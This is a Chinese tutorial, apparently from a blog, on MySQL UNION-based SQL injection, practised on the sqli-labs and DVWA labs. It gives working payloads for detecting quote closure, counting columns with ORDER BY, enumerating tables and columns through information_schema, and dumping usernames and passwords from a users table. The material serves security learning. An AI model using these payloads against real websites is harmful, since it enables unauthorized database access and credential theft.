sql注入之union联合注入

一、Union注入

联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段数要相同,不然会出现报错。列数相同

union 特性是显示两张表 我们就可以吧第一个参数变为------负--的 或者不存在的值 就行了 显示就是以第二张表为主

二、判断闭合方式

1、如果都报错,则为整形闭合。

2、如果单引号报错,双引号不报错。然后尝试?id=1 ---- 无报错则单引号闭合。报错则单引号加括号。

3、如果单引号不报错,双引号报错。然后尝试?id=1"----无报错则双引号闭合。报错则双引号加括号。

4、判断真值的方法是指通过构造一个条件语句,利用应用程序返回的结果来判断闭合方式

如果是没有报错回显的情况,则可以用判断真值的方法来判断闭合方式。

例如:输入index.php?id=1',页面显示错误

再输入index.php?id=1' --+,页面显示正确

sqli labs 是双引号闭合

dvwa 是单引号闭合

三、以MySQL注入为例

1、在参数后添加引号尝试报错,并用and 1=1#and 1=2#测试报错

?id=1' and 1=1#		页面返回正常
?id=1' and 1=2#		页面返回不正常

2、利用order by猜测字段

使用语句 order by 确定当前表的字符数。
order by 1 如果页面返回正常,字段数不少于1。
order by 2 如果页面返回正常,字段数不少于2。
如此类推,直到页面出错,正确的字段数是出错数字减1。
公式 order by n-1
1' order by 1--空格 正常
1' order by 2--空格 正常
1' order by 3--空格 出错

3、利用union联合查询

-1' union select 1,2--+		--看哪个字段可以显示信息,利用它获取数据库信息
--修改id为一个不存在的id,强行报错
--因为代码默认只返回第一条结果,不会返回 union select 的结果

4、获取数据库信息

-1' union select 1,version()--+

user()		--获取数据库用户名
database()	--获取数据库名
version()	--获取数据库版本信息


--其它信息
@@datadir				--数据库路径
@@version_compile_os	--操作系统版本

5、查询数据库的表

id=-1%27 union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+


--table_schema=数据库名16进制或者用单引号括起来
--改变limit 0,1中前一个参数,得到所有表

6、查询数据库字段

同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS,这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字段。

获取 users 表第一个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1)--+


获取 users 表第二个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1,1)--+

获取 users 表第三个字段名:
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1)--+

7、脱库,获取数据

通过以上的黑盒查询,获取库名、表名、字段,那么就可以查询某个表的内容。
-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1)--+
相关推荐
月光水岸New2 小时前
Ubuntu 中建的mysql数据库使用Navicat for MySQL连接不上
数据库·mysql·ubuntu
狄加山6752 小时前
数据库基础1
数据库
我爱松子鱼2 小时前
mysql之规则优化器RBO
数据库·mysql
chengooooooo3 小时前
苍穹外卖day8 地址上传 用户下单 订单支付
java·服务器·数据库
Rverdoser4 小时前
【SQL】多表查询案例
数据库·sql
Galeoto4 小时前
how to export a table in sqlite, and import into another
数据库·sqlite
人间打气筒(Ada)4 小时前
MySQL主从架构
服务器·数据库·mysql
leegong231114 小时前
学习PostgreSQL专家认证
数据库·学习·postgresql
喝醉酒的小白4 小时前
PostgreSQL:更新字段慢
数据库·postgresql
敲敲敲-敲代码4 小时前
【SQL实验】触发器
数据库·笔记·sql